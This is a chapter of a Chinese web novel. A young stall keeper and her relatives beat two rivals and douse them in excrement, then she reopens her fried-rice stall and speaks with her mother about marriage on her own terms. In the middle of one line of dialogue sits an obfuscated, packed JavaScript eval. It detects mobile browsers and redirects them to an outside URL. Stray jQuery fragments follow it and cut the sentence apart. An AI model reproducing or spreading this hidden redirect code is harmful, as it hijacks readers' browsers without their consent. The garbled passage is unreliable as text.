苏根生慢悠悠走过来，弯腰仔细打量洪福片刻，感叹道：“真是毫不手软啊。”


    “不过……”他转头看过去，“阿桃，你别用手揍人，用扁担啊。你用手不疼吗？”


    “疼。”苏桃举起两只手用力地甩甩，又交叉塞进胳膊里，笑嘻嘻道，“但是用手揍人，爽。”


    苏有田拖着王四走过来，把他扔在地上：“怎么样？”


    苏桃弯腰仔细看了看：“打得挺狠，打残了吗？”


    “？还要打残？”苏有田一愣，举起扁担照着王四的腿就要打下去。


    王四一咕噜爬起来，顶着一脸鼻青脸肿磕头求饶：“我错了，我真的知道错了！不要再打了，求求你们不要再打了！大爷，姑奶奶，求求你们，我真的再也不敢了！”


    苏桃看笑了，又转头去看洪福：“你看，他比你聪明多了，一点儿也不嘴硬。”


    洪福两只眼睛肿眯着，喘气喘得像拉风箱一样，意识恍惚，一句话也说不出来。


    苏桃走到栅栏前，就着昏暗的天光仔细分辨片刻，手指伸过去摸索一阵，抠出了一个插梢，然后如法炮制上下抠出了其余三个，拉开了栅栏。


    她转身，脑袋微微一偏，冲着王四道：“进去。”


    王四不明所以，但实在被打怕了，只得爬起来，低头缩脖地走了进去。


    “大伯，麻烦你挑一下那两桶粪。”


    苏有田进去了。苏根生也跟着进去，穿过那道栅栏时，他打量了一眼：“暗门？你居然还想到了这个？”


    “当然，我都自掏腰包换了这栅栏，难道还不能为自己谋点好处吗？”苏桃抓住洪福的后脖颈，狐狸般狡黠一笑，扬着下巴大步走了进去。


    到了洪福的摊位，苏桃放下那死猪，拎起粪桶，对准他浇了下去。


    污秽的粪水哗啦啦浇下去，淹没了他，又顺着他的身体往下流，在地上漫溢开来。


    到了王四的摊位，苏桃也是如此，亲手浇粪，亲手报复。


    “好啦。”她放下粪桶，摊开两只手看了看，又看了看自己的胸前和脚面，说道，“我回家洗个澡换身衣服。大伯，麻烦您帮我看着摊位，别让人再捣乱。今天，我的生意必须顺利开张。”


    苏有田看向苏根生，苏根生微微一点头，苏有田便把胸膛一拍：“你放心，包在我身上。”


    天光渐亮，东边太阳出来了，在云层间越爬越高，明亮的阳光洒下来，照得人身上暖融融的。


    巳正时分，苏桃李娟推着厢车走进集市。


    坐在鱼摊边无所事事的周大郎一看见她们，立刻起身走了过去：“开张啦？你这一手炒饭，一天不吃甚是想念啊。”


    苏桃笑容满面：“承蒙您惦记着。”


    周大郎压低声音，神神秘秘道：“哎，今天集市里出大事了，你知道吗？”


    苏桃：“不知道，什么大事？”


    周大郎：“有两家炒饭摊子被人泼了粪，手段可狠了，两个摊主鼻青脸肿的，从满是粪水的摊位里爬起来，一路往外走一路往下滴粪水，沿道骂他们的声音那是此起彼伏，都嫌他们弄脏了自家摊位。”他盯着苏桃的脸，语含试探，“你知道，是谁做的吗？”


    苏桃从容一笑，神情自然得仿佛真是一个置身事外的人：“不知道，可能是他们得罪了什么人吧，搞成那个样子也是他们活该。”


    她将厢车推进摊位，在靠左前方处停好：“大伯，辛苦你了，你回去吧。”


    周大郎看着苏有田离去，看向苏桃：“大伯？”


    “对呀，我又不是石头里蹦出来的，自然有大伯。昨天生意出了问题，正好爷爷来城里看我，就叫大伯帮我看看摊子，免得让人再来捣乱。”苏桃抬起手臂拔下插销，放下车厢壁当桌案，从车斗里提出炉子，又转头笑脸招呼道，“周大叔，买炒饭吗？你今天还没吃午食吧，要不要来一碗？”


    周大郎眼珠转了一转，笑道：“炒饭降价吗？”


    苏桃：“不降。”


    周大郎：“打折呢？”


    苏桃：“不打折。”


    周大郎：“那——”“也不送东西。”苏桃直接打断他的话。


    周大郎一脸无法接受，睁大眼睛：“苏娘子，你今天可是重新开张啊。”


    “今天是重新开张，算是个喜庆日子，但是离昨天泼粪一事太近了，我不能让利。”苏桃笑眯眯道，“今天二月初八，离花朝节不过四天，到时候我一定打折酬客，您看怎么样？”


    周大郎犹豫片刻，无可奈何道：“行吧，那给我来碗鸡蛋炒饭，再来一份卤蚕豆。”


    “好嘞，一共收您七文钱。”李娟趁他俩说话时早已搬了小方桌和凳子去右边放好，“您先去那边坐坐，饭菜马上送到。”


    “卖炒饭咯——苏娘子卤味炒饭——”


    伴随着清亮与温柔两道吆喝声，苏家小摊重新开张了，客人纷至沓来，答应过的王大叔等客人来了，没有答应过客人们也来了，他们聚在摊子前，无比热闹。


    到了午正时分，书生们戴着幅巾穿着青白襕衫意气风发地走过来。


    苏桃转身过去举起手臂挥了挥，笑容满面地高声招呼道：“宋公子，张公子，冯公子，吃炒饭吗？还有卤味，今天刚煮出来的呦！”


    书生们互相对视一眼，立刻兴高采烈地跑过来：“吃！当然吃！苏小娘子，留个位置给我们啊！”


    不知不觉夜幕降临，何竹匠与何掌柜从南门进入集市，一边往里走一边聊天。


    苏桃眼尖，一下子就瞧见了，立即挥手大声招呼道：“何竹匠，何掌柜，吃炒饭吗？今天还有卤猪头肉和卤鸡，要不要尝一尝？”


    两人对视一眼，并肩走过来。何掌柜和气笑道：“苏娘子您如此热情，在下便却之不恭了。”


    苏桃顿时眉开眼笑了起来。


    一天结束了，集市即将关闭，客人们逐渐离去，摊主们也一个接一个收拾摊子回家。


    苏根生和苏有田从南门走了进来，四处张望着走到苏桃摊子边：“文谦家的，阿桃，我们来接你们回家。”


    “谢谢爷爷，不过还要稍等一会儿。”苏桃从厢车后面探出头来，“大伯，你帮我娘收拾一下桌椅，这样速度快些。”


    苏根生往桌子方向那边指了一下，示意苏有田去帮忙，自己则是走到厢车后面，问道：“阿桃，今天的生意怎么样？”


    苏桃笑道：“一天的时间，爷爷没有过来看一眼吗？”


    “看是看了，很热闹，生意很好。”苏根生道，“但是那一会儿，也不能代表全部啊。”


    苏桃拿起粗瓦罐，慢慢地将里面的铜板倒在桌案上，伸手示意：“爷爷，您点一下吧。”


    苏根生两个两个地数着，越数脸上的讶色越浓，到最后更是惊讶地抬起了眼睛：“一千三百零六文？”


    “减去成本六百文，盈利正好就是七百多文。”苏桃微微扬脸，“爷爷，我没撒谎吧？”


    苏根生肯定地点点头，神情是服气的：“阿桃你的能力，确实没有一丝一毫的虚假成分。”


    苏桃笑了，从那堆铜板里捡出八百零六文：“剩下的五百文，爷爷您拿去吧。每天五百文，十八天后，苏家缺的那十二贯钱就补足了。”


    苏根生也笑了。他收起那五百个铜板，看向拎桌子凳子过来的大儿子：“有田，从今天开始，你每天晚上到宵禁开始之前，次日宵禁结束到阿桃进集市摆摊之前，都守在这里，不许任何人过来捣乱。”


    苏有田点头：“好的。”


    苏根生又看向苏桃：“明天我就回乡下了，你还有什么事需要我帮忙吗？”


    苏桃想了想，道：“爷爷家里的粮食和菜有多余的吗？”


    苏根生：“什么意思？”


    “我每天做生意，要采购38斤粗米、30个鸡蛋、3斤萝卜、3斤茄子等等等等，这些东西虽然市价便宜，但如果是自家的，只会更便宜。”苏桃看着他的眼睛，刻意放缓的声音充满了诱惑力，“爷爷想和我进一步合作吗？您售卖家里多余的粮食和菜赚铜板，我的采购成本更低，我们一起，挣更多的钱。”


    苏根生耷拉的眼皮一抖，明显是心动了。


    但他思索片刻，却摇了头：“粮食不行。去年秋收交完税，多余的粮食我们已经卖了，眼下家里存的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17385267|198791||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    粮食都是要吃的，不能拿出来做生意。要给你们送粮食，得是今年秋收之后了，也就是十月左右。”


    “不过菜可以，萝卜、茄子这些几乎家家户户都种，自己吃也吃不完，拿到城里摆摊卖往往卖一天也挣不到几个钱，最后都拿来腌了做酸菜咸菜。”苏根生道，“还有什么其它的菜，你一并写了单子给我，我明天给你送过来。”


    苏桃笑道：“好，那就说定了。”


    收拾完摊子，推着厢车，三个人一起离开集市，回了家。


    夜里，苏桃泼了洗脚水，趿拉着鞋子回到正屋，关上屋门。


    李娟正在整理床铺，听见动静转身道：“爷爷他们都歇下了吗？”


    “西厢房的灯熄了，应该是都歇下了。”苏桃走过去，一屁股坐在床上，拉住她的手，“娘，别忙活了，我有话想跟你谈谈。”


    李娟一愣，也转身坐下来：“阿桃，你想谈什么？”


    苏桃沉吟片刻，道：“去年冬天，娘您生了一场重病，大夫说您郁结于心，就是因为我的婚事吗？”


    李娟怔了怔，轻声道：“是。”


    苏桃：“那为什么当时我问您，您不说呢？”


    李娟恍惚半刻，低下头去，声音也跟着低了下去：“我…我不知道怎么跟你说。”


    苏桃想了想，道：“是…觉得对不起我，耽搁了我吗？”


    “是。”李娟不自觉舔了下嘴唇，眼眶泛酸，“我是你娘，挣钱养家原是我的责任，却让你担了起来。还有你的婚事，我伤心过度，竟忘了个彻底。别人家的女儿，十五岁都已经出嫁了，你今年十六，却连一门亲事都不曾定下，我实在无颜与你谈起。”


    苏桃思索片刻，点了点头：“十六岁，尚未定亲，确实是有些迟了。”


    “但也不算太迟吧，有好些疼女儿的人家，十七八岁才送女儿出嫁呢。”苏桃嘴角翘起，眼含笑意地瞧着她，“娘您不疼我吗？”


    李娟一怔，随即笑道：“哪能呢，你若是不想嫁，我定然是不会勉强你的。”


    “嗯……”苏桃抬起眼睛认真思考了一会儿，“那我想嫁一个自己喜欢的男人，并且出嫁时能够带走足够的嫁妆，哪怕是嫁到当朝宰相家里去，说话也有足够的底气。娘，您能答应我吗？”


    “宰相？”李娟瞪大眼睛，完全想象不到，“那、那得挣多少钱啊。”


    苏桃瞧她模样，蓦地忍俊不禁，大笑了起来：“哈哈哈哈。”


    李娟莫名其妙：“你笑什么？”


    苏桃边笑边说：“娘啊，为什么你不说我是痴心妄想啊？”


    李娟望着她，抿嘴微笑，低垂的眉眼显得温柔又和顺：“其实我也觉得挺不可思议的。但是，阿桃，你比我有本事，无论你想什么，我都不能说你是痴心妄想。”


    苏桃一愣，看她片刻，感慨道：“娘，我总算知道爹与您为什么夫妻感情那么好了。”


    李娟有些懵：“为什么？”


    “这世上有有本事的人，也有贴心的人。”苏桃笑道，“而一个有本事的人，最喜欢的就是贴心的人，即使带来些许麻烦也无所谓，因为有本事的人从不怕什么麻烦。”


    “好了，不说这些了。”苏桃拍拍她的手背，“还是说我的婚事吧。以家里如今的条件，让我以十六七岁的青春年华嫁一个好男人、一个好婆家已经是不可能了。那么就只有退而求其次，挣出一大笔钱当作嫁妆，成为我新的底气。这世上最风光的，第一是有权有势之人，第二就是有钱有能力的人，只要我的嫁妆足够多，别说我二三十岁才出嫁，就是我二婚三婚，当朝宰相也照样愿意为我敞开大门。”


    “在婚事上我绝不愿意将就，我挑男人，也挑婆家。”苏桃盯着她的眼睛，诚恳道，“所以娘，答应我，以后关于我婚事的一切，必须先问我的意见，您绝不能打着为我好的旗号擅自为我做主、更不能替我应承什么，否则我会生气、也会伤心的，好吗？”


    李娟亦看着她的眼睛，深深一点头：“阿桃，我明白了，我答应你。”


    苏桃轻轻地吐出一口气，露出愉快又轻松的笑容，万分真心道：“娘，谢谢您。”